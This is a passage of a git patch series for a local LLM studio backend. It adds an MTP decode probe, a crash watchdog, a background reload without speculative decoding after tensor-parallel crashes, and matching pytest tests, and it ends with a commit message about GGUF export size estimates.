         self._lock = threading.Lock()
         # Wraps load_model() end-to-end so concurrent loads serialise and never
-        # coexist as two llama-server processes (#5401).
-        self._serial_load_lock = threading.Lock()
+        # coexist as two llama-server processes (#5401). RLock so MTP-crash
+        # recovery can re-acquire it for its nested load_model.
+        self._serial_load_lock = threading.RLock()
         # Set by the in-app updater while it swaps prebuilt binaries; load_model()
         # rejects fast so no server starts from a half-swapped binary.
         self._llama_update_in_progress = False
@@ -1225,6 +1226,18 @@ class LlamaCppBackend:
         self._extra_args: Optional[List[str]] = None
         self._extra_args_source: Optional[tuple[str, Optional[str]]] = None
         self._requested_n_ctx: int = 0
+        # Raw kwargs of the last healthy load, for the MTP-crash reload. Memory-only
+        # (carries hf_token, never logged); single-flight via the lock below.
+        self._last_load_kwargs: Optional[dict] = None
+        self._mtp_runtime_fallback_lock = threading.Lock()
+        self._mtp_runtime_fallback_in_progress = False
+        # Background watchdog so an MTP+tensor crash recovers even when no request
+        # observes it (direct proxy endpoints, or nothing in flight).
+        self._mtp_watchdog_thread: Optional[threading.Thread] = None
+        self._mtp_watchdog_stop = threading.Event()
+        # True when the launch actually runs MTP+tensor (Studio- or user/env-driven);
+        # gates the probe, watchdog, and recovery so pass-through MTP is covered.
+        self._mtp_runtime_fallback_active = False
         self._stdout_lines: list[str] = []
         self._stdout_thread: Optional[threading.Thread] = None
         # llama-server tee log (see _drain_stdout / _kill_process).
@@ -4156,6 +4169,28 @@ class LlamaCppBackend:
 
         Returns True if the server started and the health check passed.
         """
+        # Raw load inputs so the runtime MTP-crash reload can replay this model
+        # without MTP. Committed to _last_load_kwargs only on a healthy load.
+        _pending_load_kwargs = {
+            "gguf_path": gguf_path,
+            "mmproj_path": mmproj_path,
+            "mtp_draft_path": mtp_draft_path,
+            "hf_repo": hf_repo,
+            "hf_variant": hf_variant,
+            "hf_token": hf_token,
+            "model_identifier": model_identifier,
+            "is_vision": is_vision,
+            "n_ctx": n_ctx,
+            "chat_template_override": chat_template_override,
+            "cache_type_kv": cache_type_kv,
+            "speculative_type": speculative_type,
+            "spec_draft_n_max": spec_draft_n_max,
+            "tensor_parallel": tensor_parallel,
+            "n_threads": n_threads,
+            "n_gpu_layers": n_gpu_layers,
+            "n_parallel": n_parallel,
+            "extra_args": list(extra_args) if extra_args is not None else None,
+        }
         # Serialise the whole load so concurrent /load calls never leave two
         # llama-server processes alive (#5401 / #5161). Doesn't block /unload.
         with self._serial_load_lock:
@@ -5481,6 +5516,37 @@ class LlamaCppBackend:
                 )
 
                 healthy = _spawn_and_wait(cmd)
+                # MTP from Studio's spec flags or the user's (extra_args
+                # --spec-type / LLAMA_ARG_SPEC_TYPE). The env reaches the child
+                # only when neither emits a spec flag, so consult it only then.
+                _launch_spec_env: Mapping[str, str] = (
+                    os.environ
+                    if (not _extra_args_set_spec_type(extra_args) and not spec_flags)
+                    else {}
+                )
+                _spec_requested_mtp = any(
+                    "mtp" in str(t).lower() for t in spec_flags
+                ) or _extra_args_requests_mtp(extra_args, env = _launch_spec_env)
+                # Is the launched server actually running MTP+tensor? Gates the
+                # probe/watchdog/recovery; cleared if the MTP-drop fallback wins.
+                _mtp_active_for_launched_server = bool(
+                    self._tensor_parallel and _spec_requested_mtp
+                )
+                # MTP can pass /health then crash the flash-attn kernel on the
+                # first decode under tensor; probe one generation so the fallback
+                # catches that too. Tensor-only, so ordinary MTP stays probe-free.
+                if (
+                    healthy
+                    and self._tensor_parallel
+                    and _spec_requested_mtp
+                    and not self._cancel_event.is_set()
+                    and not self._probe_mtp_decode()
+                ):
+                    logger.warning(
+                        "MTP speculative decoding crashed on the first decode "
+                        "under tensor parallelism; retrying without it."
+                    )
+                    healthy = False
                 # Any MTP request can abort the server: a separate drafter
                 # (Gemma) on a binary that predates its arch, or an embedded
                 # head (Qwen) the binary cannot build. Retry once with the
@@ -5488,8 +5554,8 @@ class LlamaCppBackend:
                 # loads. Gate on the spec block (not the drafter path, which
                 # off/ngram local loads also carry) and keep
                 # _requested_spec_mode so a duplicate /load doesn't thrash. The
-                # cancel check stops an /unload-killed attempt respawning.
-                _spec_requested_mtp = any("mtp" in str(t).lower() for t in spec_flags)
+                # cancel check stops an /unload-killed attempt respawning. A
+                # decode-probe failure above also routes here.
                 if not healthy and _spec_requested_mtp and not self._cancel_event.is_set():
                     # Blame the binary only when the output shows MTP itself
                     # failing (unknown arch / draft or context build); an
@@ -5535,9 +5601,14 @@ class LlamaCppBackend:
                         + ["--spec-default"]
                         + cmd[_spec_start + len(spec_flags) :]
                     )
+                    # User/env MTP survives in the tail; llama.cpp takes the last
+                    # spec flag, so a trailing --spec-default overrides it too.
+                    if _extra_args_requests_mtp(extra_args, env = _launch_spec_env):
+                        fallback_cmd.append("--spec-default")
                     healthy = _spawn_and_wait(fallback_cmd, label = "-retry")
                     if healthy:
                         self._speculative_type = "default"
+                        _mtp_active_for_launched_server = False
 
                 # A vision GGUF launched with --mmproj can abort when the
                 # installed llama.cpp is too old for the model's projector
@@ -5587,6 +5658,11 @@ class LlamaCppBackend:
                     self._extra_args = list(extra_args)
                     self._extra_args_source = (model_identifier, hf_variant)
                 self._requested_n_ctx = int(n_ctx)
+                # Commit the known-good snapshot + whether MTP+tensor is live, then
+                # watch this load for a mid-generation crash.
+                self._last_load_kwargs = _pending_load_kwargs
+                self._mtp_runtime_fallback_active = _mtp_active_for_launched_server
+                self._start_mtp_crash_watchdog()
 
                 # Catch silent CPU fallback when GPU was intended (#5106).
                 self._gpu_offload_active = self._classify_gpu_offload(
@@ -6050,6 +6126,8 @@ class LlamaCppBackend:
             self._hf_repo = None
             self._mtp_draft_path = None
             self._spec_fallback_reason = None
+            self._last_load_kwargs = None
+            self._mtp_runtime_fallback_active = False
             self._hf_variant = None
             self._is_vision = False
             self._is_audio = False
@@ -6113,6 +6191,9 @@ class LlamaCppBackend:
 
     def _kill_process(self):
         """Terminate the subprocess if running."""
+        # Stop the watchdog before a deliberate kill so a planned reload/unload
+        # isn't seen as a crash; a real crash never routes through here.
+        self._stop_mtp_crash_watchdog()
         if self._process is None:
             return
         try:
@@ -6342,6 +6423,139 @@ class LlamaCppBackend:
                 return False
         return True
 
+    def _probe_mtp_decode(self, timeout: float = 60.0) -> bool:
+        """One tiny /completion to confirm MTP survives the first decode.
+
+        MTP-draft can pass /health yet crash the flash-attn kernel only once
+        tokens generate (e.g. under --split-mode tensor). False on any error so
+        the caller can drop MTP and retry.
+        """
+        url = f"http://127.0.0.1:{self._port}/completion"
+        payload = {"prompt": "Hi", "n_predict": 4, "temperature": 0.0, "stream": False}
+        # Match the --api-key auth direct-stream mode uses, else a spurious 401.
+        headers = {"Authorization": f"Bearer {self._api_key}"} if self._api_key else None
+        try:
+            resp = httpx.post(url, json = payload, timeout = timeout, headers = headers)
+        except Exception as e:
+            logger.debug(f"MTP decode probe failed: {e}")
+            return False
+        if resp.status_code != 200:
+            logger.debug(f"MTP decode probe returned HTTP {resp.status_code}")
+            return False
+        # A crash can drop the connection or kill the process right after a reply.
+        if self._process is not None and self._process.poll() is not None:
+            return False
+        return True
+
+    def _maybe_recover_from_mtp_crash(self, exc: Optional[BaseException] = None) -> bool:
+        """Schedule one background reload without MTP after a mid-generation death.
+
+        MTP+tensor can crash the flash-attn kernel on a later request, after
+        load_model returned, past the load-time fallback and decode probe. Not a
+        persistent ban: a fresh load re-tries MTP. Returns True if scheduled.
+        """
+        # Cheap async-safe gate: only our live MTP+tensor launch, not cancelled,
+        # with a snapshot to replay.
+        if self._cancel_event.is_set():
+            return False
+        if not self._mtp_runtime_fallback_active:
+            return False
+        if not self._last_load_kwargs or self._process is None:
+            return False
+        # Single-flight: the first failure claims the reload.
+        with self._mtp_runtime_fallback_lock:
+            if self._mtp_runtime_fallback_in_progress:
+                return False
+            self._mtp_runtime_fallback_in_progress = True
+        snapshot = dict(self._last_load_kwargs)
+        proc = self._process
+
+        def _recover():
+            try:
+                # Confirm the process really exited (the error can arrive a beat
+                # early) so a transient stream error can't disable MTP.
+                deadline = time.monotonic() + 5.0
+                while proc.poll() is None and time.monotonic() < deadline:
+                    time.sleep(0.1)
+                if proc.poll() is None:
+                    logger.debug("Generation error but llama-server is alive; keeping MTP.")
+                    return
+                logger.warning(
+                    "llama-server exited mid-generation with MTP under tensor "
+                    "parallelism (%s); reloading without speculative decoding.",
+                    type(exc).__name__ if exc is not None else "server exited",
+                )
+                # Re-check under the load lock (RLock allows the nested
+                # load_model) so a newer load isn't clobbered by this stale replay.
+                requested_mode = snapshot.get("speculative_type")
+                with self._serial_load_lock:
+                    if self._cancel_event.is_set():
+                        logger.info("MTP-crash reload skipped: load was cancelled/unloaded.")
+                        return
+                    if self._process is not proc:
+                        logger.info("MTP-crash reload skipped: a newer load is already active.")
+                        return
+                    if self._last_load_kwargs != snapshot:
+                        logger.info("MTP-crash reload skipped: load settings changed.")
+                        return
+                    snapshot["speculative_type"] = "off"
+                    # Drop user/env MTP too: append a last-wins --spec-default.
+                    _ea = list(snapshot.get("extra_args") or [])
+                    if _extra_args_requests_mtp(_ea, env = os.environ):
+                        _ea.append("--spec-default")
+                        snapshot["extra_args"] = _ea
+                    self.load_model(**snapshot)
+                    # Restore the requested mode + reason load_model("off") cleared,
+                    # so /status shows the user's mode + note (like the startup fallback).
+                    self._requested_spec_mode = _canonicalize_spec_mode(requested_mode)
+                    self._spec_fallback_reason = "runtime_error"
+                logger.info("Reloaded without MTP after the tensor-parallel crash.")
+            except Exception as e:
+                logger.error(f"Reload without MTP failed: {e}")
+            finally:
+                with self._mtp_runtime_fallback_lock:
+                    self._mtp_runtime_fallback_in_progress = False
+
+        threading.Thread(target = _recover, daemon = True, name = "mtp-crash-reload").start()
+        return True
+
+    def _start_mtp_crash_watchdog(self) -> None:
+        """Background poll that recovers on an MTP+tensor crash even when no
+        request observes it (direct proxy endpoints, or nothing in flight).
+
+        Armed only for a live MTP+tensor launch; the no-MTP reload disarms it, so
+        it can't loop.
+        """
+        if not self._mtp_runtime_fallback_active:
+            return
+        proc = self._process
+        if proc is None:
+            return
+        # Replace any prior watchdog (loads are serialised, so at most one).
+        self._stop_mtp_crash_watchdog()
+        stop = threading.Event()
+        self._mtp_watchdog_stop = stop
+
+        def _watch():
+            # Exit on stop or process death. _kill_process sets stop before
+            # terminating, so re-check it: only a real crash (stop unset) recovers.
+            while not stop.wait(1.0):
+                if proc.poll() is not None:
+                    if not stop.is_set():
+                        self._maybe_recover_from_mtp_crash()
+                    return
+
+        t = threading.Thread(target = _watch, daemon = True, name = "mtp-crash-watchdog")
+        self._mtp_watchdog_thread = t
+        t.start()
+
+    def _stop_mtp_crash_watchdog(self) -> None:
+        """Signal the crash watchdog to exit; called before any deliberate kill."""
+        stop = getattr(self, "_mtp_watchdog_stop", None)
+        if stop is not None:
+            stop.set()
+        self._mtp_watchdog_thread = None
+
     def _wait_for_health(
         self,
         timeout: float = 120.0,
@@ -6821,11 +7035,15 @@ class LlamaCppBackend:
                             "finish_reason": _metadata_finish_reason,
                         }
 
-        except httpx.ConnectError:
+        except httpx.ConnectError as e:
+            # Server already down (e.g. crashed on a prior request): recover MTP.
+            self._maybe_recover_from_mtp_crash(e)
             raise RuntimeError("Lost connection to llama-server")
         except Exception as e:
             if cancel_event is not None and cancel_event.is_set():
                 return
+            # Died mid-generation: recover MTP, re-raise unchanged for this request.
+            self._maybe_recover_from_mtp_crash(e)
             raise
 
     # ── Tool-calling agentic loop ──────────────────────────────
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index bfceb9b904..be8bf77eb6 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -4869,6 +4869,8 @@ async def openai_chat_completions(
                     tb = traceback.format_exc()
                     logger.error(f"Error during GGUF tool streaming: {e}\n{tb}")
                     api_monitor.fail(monitor_id, _friendly_error(e))
+                    # Recover if an MTP+tensor crash killed the server mid-stream.
+                    get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
@@ -5115,6 +5117,8 @@ async def openai_chat_completions(
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
+                # Recover if an MTP+tensor crash killed the server.
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 # An over-context prompt makes llama-server return 400; map any
                 # upstream 4xx to a 400 client error rather than leaking a 500.
                 _cls = _classify_llama_generation_error(e)
@@ -8641,6 +8645,7 @@ async def _anthropic_passthrough_stream(
         except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
             if not cancel_event.is_set():
                 logger.error("anthropic_messages passthrough stream error: %s", e)
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 event = _anthropic_stream_error_event(
                     e,
                     force = True,
@@ -8651,6 +8656,7 @@ async def _anthropic_passthrough_stream(
         except Exception as e:
             if not cancel_event.is_set():
                 logger.error("anthropic_messages passthrough stream error: %s", e)
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 event = _anthropic_stream_error_event(
                     e,
                     force = True,
@@ -9282,11 +9288,12 @@ async def _openai_passthrough_stream(
             except asyncio.CancelledError:
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
-            except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError):
+            except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
                 # Watcher closed resp on cancel. Emit nothing extra; the client
                 # initiated the cancel or already disconnected.
                 if not cancel_event.is_set():
                     api_monitor.fail(monitor_id, "Stream interrupted")
+                    get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     raise
                 api_monitor.finish(monitor_id, "cancelled")
             except Exception as e:
@@ -9296,6 +9303,7 @@ async def _openai_passthrough_stream(
                 # 200 headers already flushed; errors must go in the SSE body.
                 logger.error("openai passthrough stream error: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 err = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(err)}\n\n"
             finally:
@@ -9374,6 +9382,7 @@ async def _openai_passthrough_non_streaming(
             # a bare 500 with no diagnostic.
             logger.error("openai passthrough non-streaming: upstream unreachable: %s", e)
             api_monitor.fail(monitor_id, _friendly_error(e))
+            get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
             raise HTTPException(
                 status_code = 502,
                 detail = _friendly_error(e),
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 8ec629bd2c..4ddd0224a2 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -20,6 +20,8 @@ from __future__ import annotations
 import asyncio
 import inspect
 import sys
+import threading
+import time
 import types as _types
 from pathlib import Path
 
@@ -265,6 +267,398 @@ def test_proportional_tensor_split_is_emitted_in_tensor_mode():
     assert 0 <= gate < ts < nxt_else, "--tensor-split must be emitted under `if tensor_parallel:`"
 
 
+def test_mtp_decode_probe_wired_under_tensor_parallel():
+    # MTP-draft can pass /health and crash the CUDA FA kernel only on the first
+    # decode under --split-mode tensor. Rather than statically banning MTP+TP
+    # (which a future llama.cpp may support), load_model probes a decode and
+    # routes a failure into the existing MTP-drop fallback.
+    src = _load_model_source()
+    probe = src.find("_probe_mtp_decode()")
+    assert probe != -1, "load_model must decode-probe MTP under tensor parallelism"
+    # Gated on tensor mode AND an MTP request (ordinary MTP loads stay unprobed).
+    guard = src[max(0, probe - 400) : probe]
+    assert "self._tensor_parallel" in guard and "_spec_requested_mtp" in guard
+    # A failed probe flips healthy so the shared MTP-drop fallback fires.
+    assert "healthy = False" in src[probe : probe + 400]
+    fallback = src.find("if not healthy and _spec_requested_mtp")
+    assert 0 <= probe < fallback, "the probe must precede the MTP-drop fallback"
+
+
+def test_probe_mtp_decode_returns_false_on_crash(monkeypatch):
+    # The probe is the decode-time health gate: True only on a clean 200 from a
+    # live server; any error (dropped connection, non-200, dead process) is a
+    # failed probe so the caller drops MTP and retries.
+    backend = LlamaCppBackend()
+    backend._port = 0
+
+    class _Resp:
+        def __init__(self, code):
+            self.status_code = code
+
+    backend._process = None  # liveness check skipped; exercise the HTTP result
+    monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False)
+    assert backend._probe_mtp_decode(timeout = 1.0) is True
+
+    def _drop(*a, **k):
+        raise llama_cpp_module.httpx.RemoteProtocolError("peer closed connection")
+
+    monkeypatch.setattr(llama_cpp_module.httpx, "post", _drop, raising = False)
+    assert backend._probe_mtp_decode(timeout = 1.0) is False
+
+    monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(500), raising = False)
+    assert backend._probe_mtp_decode(timeout = 1.0) is False
+
+    # 200 but the server aborted right after (poll() returns an exit code).
+    backend._process = _FakeProcess()
+    monkeypatch.setattr(llama_cpp_module.httpx, "post", lambda *a, **k: _Resp(200), raising = False)
+    assert backend._probe_mtp_decode(timeout = 1.0) is False
+
+
+# ── generation-time MTP recovery (mid-stream crash) ──────────────────
+
+
+def _recovery_backend() -> LlamaCppBackend:
+    # A backend that loaded MTP under tensor parallelism and whose server has
+    # since exited (the _FakeProcess poll() returns 0 -> a dead subprocess).
+    b = LlamaCppBackend()
+    b._tensor_parallel = True
+    b._speculative_type = "draft-mtp"
+    b._mtp_runtime_fallback_active = True
+    b._process = _FakeProcess()
+    b._last_load_kwargs = {
+        "model_identifier": "owner/repo",
+        "tensor_parallel": True,
+        "speculative_type": "auto",
+        "n_parallel": 4,
+    }
+    return b
+
+
+def test_generate_chat_completion_wires_runtime_recovery():
+    # The non-tool generation path must route a mid-stream server death into the
+    # recovery helper (the tool + passthrough paths do so from the routes).
+    src = inspect.getsource(LlamaCppBackend.generate_chat_completion)
+    assert "_maybe_recover_from_mtp_crash" in src
+
+
+def test_runtime_recovery_reloads_without_mtp(monkeypatch):
+    # One background reload with speculative_type="off" (rest of snapshot kept),
+    # then spec_fallback_reason="runtime_error" and single-flight released.
+    b = _recovery_backend()
+    done = threading.Event()
+    captured = {}
+
+    def _fake_load_model(**kwargs):
+        captured.update(kwargs)
+        done.set()
+        return True
+
+    monkeypatch.setattr(b, "load_model", _fake_load_model)
+    assert b._maybe_recover_from_mtp_crash(RuntimeError("peer closed")) is True
+    assert done.wait(timeout = 5)
+    assert captured["speculative_type"] == "off"
+    assert captured["model_identifier"] == "owner/repo"
+    assert captured["n_parallel"] == 4  # snapshot replayed faithfully
+    deadline = time.monotonic() + 2
+    while b._spec_fallback_reason != "runtime_error" and time.monotonic() < deadline:
+        time.sleep(0.02)
+    assert b._spec_fallback_reason == "runtime_error"
+    assert b._mtp_runtime_fallback_in_progress is False
+
+
+@pytest.mark.parametrize(
+    "mutate",
+    [
+        lambda b: setattr(b, "_mtp_runtime_fallback_active", False),
+        lambda b: setattr(b, "_last_load_kwargs", None),
+        lambda b: setattr(b, "_process", None),
+        lambda b: b._cancel_event.set(),
+    ],
+)
+def test_runtime_recovery_skips_when_not_applicable(monkeypatch, mutate):
+    # No reload when this launch is not running MTP+tensor, there is no snapshot,
+    # the process handle is gone, or the request was cancelled.
+    b = _recovery_backend()
+    mutate(b)
+    calls = []
+    monkeypatch.setattr(b, "load_model", lambda **k: calls.append(k))
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is False
+    assert calls == []
+
+
+class _BlockingDeadProc:
+    # Reports alive until released, then dead -- lets a test mutate backend state
+    # while the recovery thread is still in its death-confirm poll.
+    def __init__(self):
+        self._dead = threading.Event()
+
+    def poll(self):
+        return 0 if self._dead.is_set() else None
+
+    def terminate(self):
+        self._dead.set()
+
+    def kill(self):
+        self._dead.set()
+
+    def wait(self, timeout = None):
+        self._dead.set()
+        return 0
+
+    def release(self):
+        self._dead.set()
+
+
+def test_runtime_recovery_fires_for_user_env_mtp(monkeypatch):
+    # MTP driven by user extra_args / LLAMA_ARG_SPEC_TYPE leaves _speculative_type
+    # unset, but the launch flag still gates recovery on (pass-through MTP).
+    b = _recovery_backend()
+    b._speculative_type = None  # Studio stepped back; user/env owns the spec
+    done = threading.Event()
+    captured = {}
+
+    def _fake_load_model(**kwargs):
+        captured.update(kwargs)
+        done.set()
+        return True
+
+    monkeypatch.setattr(b, "load_model", _fake_load_model)
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True
+    assert done.wait(timeout = 5)
+    assert captured["speculative_type"] == "off"
+
+
+def test_runtime_recovery_strips_user_mtp_extra_args(monkeypatch):
+    # A user --spec-type draft-mtp in extra_args must be neutralised on the reload
+    # (append a last-wins --spec-default) so MTP can't re-engage and loop.
+    b = _recovery_backend()
+    b._last_load_kwargs = dict(b._last_load_kwargs, extra_args = ["--spec-type", "draft-mtp"])
+    done = threading.Event()
+    captured = {}
+
+    def _fake_load_model(**kwargs):
+        captured.update(kwargs)
+        done.set()
+        return True
+
+    monkeypatch.setattr(b, "load_model", _fake_load_model)
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True
+    assert done.wait(timeout = 5)
+    assert captured["speculative_type"] == "off"
+    assert captured["extra_args"][-1] == "--spec-default"
+
+
+def test_runtime_recovery_restores_requested_mode(monkeypatch):
+    # After the off-reload, /status must show the user's requested mode + the
+    # runtime-error note, not a bare "off" (matches the startup MTP fallback).
+    b = _recovery_backend()
+    b._last_load_kwargs = dict(b._last_load_kwargs, speculative_type = "mtp")
+    done = threading.Event()
+
+    def _fake_load_model(**kwargs):
+        b._requested_spec_mode = "off"  # what a real off-reload would leave behind
+        done.set()
+        return True
+
+    monkeypatch.setattr(b, "load_model", _fake_load_model)
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True
+    assert done.wait(timeout = 5)
+    deadline = time.monotonic() + 2
+    while b._requested_spec_mode != "mtp" and time.monotonic() < deadline:
+        time.sleep(0.02)
+    assert b._requested_spec_mode == "mtp"
+    assert b._spec_fallback_reason == "runtime_error"
+
+
+def test_runtime_recovery_skips_when_process_replaced(monkeypatch):
+    # A newer user load that replaces the process during the death-confirm poll
+    # must not be clobbered by the stale recovery replay.
+    b = _recovery_backend()
+    p1 = _BlockingDeadProc()
+    b._process = p1
+    calls = []
+    monkeypatch.setattr(b, "load_model", lambda **k: calls.append(k))
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True  # captures p1
+    b._process = _FakeProcess()  # a newer load swapped the live process
+    p1.release()  # p1 now reports dead -> recovery runs its staleness check
+    time.sleep(0.6)
+    assert calls == [], "stale recovery replayed over a newer load"
+
+
+def test_runtime_recovery_skips_when_snapshot_changed(monkeypatch):
+    # If the recorded load changed during the poll, the stale snapshot is dropped.
+    b = _recovery_backend()
+    p1 = _BlockingDeadProc()
+    b._process = p1
+    calls = []
+    monkeypatch.setattr(b, "load_model", lambda **k: calls.append(k))
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True
+    b._last_load_kwargs = dict(b._last_load_kwargs, model_identifier = "other/model")
+    p1.release()
+    time.sleep(0.6)
+    assert calls == []
+
+
+def test_runtime_recovery_is_single_flight(monkeypatch):
+    # Concurrent failures schedule only one reload.
+    b = _recovery_backend()
+    started = threading.Event()
+    release = threading.Event()
+
+    def _slow_load(**kwargs):
+        started.set()
+        release.wait(timeout = 5)
+        return True
+
+    monkeypatch.setattr(b, "load_model", _slow_load)
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is True
+    assert started.wait(timeout = 5)
+    # Second failure while the first reload is in flight is a no-op.
+    assert b._maybe_recover_from_mtp_crash(RuntimeError()) is False
+    release.set()
+
+
+def test_runtime_recovery_rechecks_cancel_before_reload():
+    # recover() must re-check the cancel flag after the death poll (load_model
+    # clears it), so a reload scheduled just before /unload can't resurrect it.
+    src = inspect.getsource(LlamaCppBackend._maybe_recover_from_mtp_crash)
+    cancel = src.rfind("self._cancel_event.is_set()")
+    load = src.find("self.load_model(")
+    assert 0 <= cancel < load, "recovery must re-check cancel before reloading"
+
+
+def test_probe_mtp_decode_uses_api_key_auth(monkeypatch):
+    # Direct-stream mode runs llama-server with --api-key; the probe must send
+    # the same bearer auth or it gets a spurious 401 and falsely drops MTP.
+    backend = LlamaCppBackend()
+    backend._port = 0
+    backend._process = None
+    captured = {}
+
+    class _Resp:
+        status_code = 200
+
+    def _capture(*a, **k):
+        captured.clear()
+        captured.update(k)
+        return _Resp()
+
+    monkeypatch.setattr(llama_cpp_module.httpx, "post", _capture, raising = False)
+    backend._api_key = "secret"
+    backend._probe_mtp_decode(timeout = 1.0)
+    assert captured["headers"] == {"Authorization": "Bearer secret"}
+    backend._api_key = None
+    backend._probe_mtp_decode(timeout = 1.0)
+    assert captured["headers"] is None
+
+
+class _ToggleProcess:
+    """A subprocess stand-in whose liveness can be flipped at runtime."""
+
+    def __init__(self):
+        self._alive = True
+
+    def poll(self):
+        return None if self._alive else 0
+
+    def terminate(self):
+        self._alive = False
+
+    def kill(self):
+        self._alive = False
+
+    def wait(self, timeout = None):
+        self._alive = False
+        return 0
+
+    def die(self):
+        self._alive = False
+
+
+def test_crash_watchdog_triggers_recovery_on_death(monkeypatch):
+    # The watchdog must notice the process exit and recover even when no request
+    # handler observed it (e.g. the direct proxy endpoints).
+    b = _recovery_backend()
+    proc = _ToggleProcess()
+    b._process = proc
+    fired = threading.Event()
+    monkeypatch.setattr(b, "_maybe_recover_from_mtp_crash", lambda *a, **k: fired.set())
+    b._start_mtp_crash_watchdog()
+    assert b._mtp_watchdog_thread is not None
+    proc.die()
+    assert fired.wait(timeout = 3)
+
+
+def test_crash_watchdog_ignores_intentional_termination(monkeypatch):
+    # A planned reload/unload stops the watchdog before killing the process, so
+    # the resulting death must not be mistaken for a crash.
+    b = _recovery_backend()
+    proc = _ToggleProcess()
+    b._process = proc
+    fired = threading.Event()
+    monkeypatch.setattr(b, "_maybe_recover_from_mtp_crash", lambda *a, **k: fired.set())
+    b._start_mtp_crash_watchdog()
+    b._stop_mtp_crash_watchdog()  # what _kill_process does first
+    proc.die()
+    assert not fired.wait(timeout = 2)
+    assert b._mtp_watchdog_thread is None
+
+
+@pytest.mark.parametrize(
+    "mutate",
+    [
+        lambda b: setattr(b, "_mtp_runtime_fallback_active", False),
+        lambda b: setattr(b, "_process", None),
+    ],
+)
+def test_crash_watchdog_not_armed_when_inapplicable(mutate):
+    # Only a launch actually running MTP+tensor with a live process arms it.
+    b = _recovery_backend()
+    b._process = _ToggleProcess()
+    mutate(b)
+    b._start_mtp_crash_watchdog()
+    assert b._mtp_watchdog_thread is None
+
+
+def test_kill_process_stops_crash_watchdog(monkeypatch):
+    # _kill_process is the single deliberate-termination chokepoint; it must
+    # stop the watchdog so the planned kill isn't seen as a crash.
+    b = _recovery_backend()
+    proc = _ToggleProcess()
+    b._process = proc
+    fired = threading.Event()
+    monkeypatch.setattr(b, "_maybe_recover_from_mtp_crash", lambda *a, **k: fired.set())
+    b._start_mtp_crash_watchdog()
+    b._kill_process()
+    assert b._mtp_watchdog_thread is None
+    assert b._process is None
+    assert not fired.wait(timeout = 2)
+
+
+def test_kill_process_stops_watchdog_before_terminate():
+    # Ordering matters: stop the watchdog before terminating so the watchdog's
+    # post-death stop re-check reliably sees a planned kill.
+    src = inspect.getsource(LlamaCppBackend._kill_process)
+    stop = src.find("_stop_mtp_crash_watchdog()")
+    term = src.find(".terminate(")
+    assert 0 <= stop < term, "must stop the watchdog before terminating"
+
+
+def test_crash_watchdog_rechecks_stop_before_recovery():
+    # After a detected exit the watchdog re-checks the stop flag so a kill that
+    # raced in between the poll-wait and the poll-read can't fire recovery.
+    src = inspect.getsource(LlamaCppBackend._start_mtp_crash_watchdog)
+    check = src.find("stop.is_set()")
+    recover = src.find("_maybe_recover_from_mtp_crash")
+    assert 0 <= check < recover, "must re-check stop before recovering"
+
+
+def test_load_model_arms_crash_watchdog():
+    # The healthy-load commit arms the watchdog for this load.
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "_start_mtp_crash_watchdog" in src
+
+
 # ── tensor-mode allocation: conservative VRAM budget ─────────────────
 
 

From 22e6d644933c58d329eeb903bbde49101fdf7002 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:44:17 -0700
Subject: [PATCH 66/91] Studio: scale export GGUF size estimates from the real
 model size (#6418)

* Studio: scale export GGUF size estimates from the real model size

The Export page showed hardcoded, model-independent GGUF quant size
labels (Q8_0 ~8.2 GB, BF16 ~14.2 GB, ...) calibrated for an ~8B model.
For a 35B MoE model like Qwen3.6-35B-A3B (67 GiB bf16, Q8 ~34 GiB) the
picker wrongly reported Q8 ~8.2 GB. Only the displayed estimate was
wrong; the actual export via save_pretrained_gguf was always correct.

Add GET /api/models/export-size, which returns a model's MoE-aware
fp16/bf16-equivalent size and total params using the existing
estimate_fp16_model_size_bytes (safetensors -> config -> local -> vllm).
The result is memoized and degrades to nulls so a size hint can never
break the Export page.

The Export picker now scales each quant from that size
(bytes ~= fp16_bytes * bits_per_weight / 16, GiB units to match the
model selector), and renders no size when it is unknown rather than a
misleading fixed number. The Est. size summary in the page and dialog
is restored now that the value comes from the backend.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio export-size: address review feedback

- Run the size estimate off the event loop with asyncio.to_thread so a slow
  Hugging Face request cannot stall other API or SSE endpoints.
- Cache only successful estimates; a transient failure (offline, gated before
  credentials) is no longer pinned as unavailable until restart.
- Forward the HF token so private and gated models can be sized, and refetch
  when the token changes.
- Clamp the size formatter index so sub-1-byte values cannot pick an
  out-of-range unit.

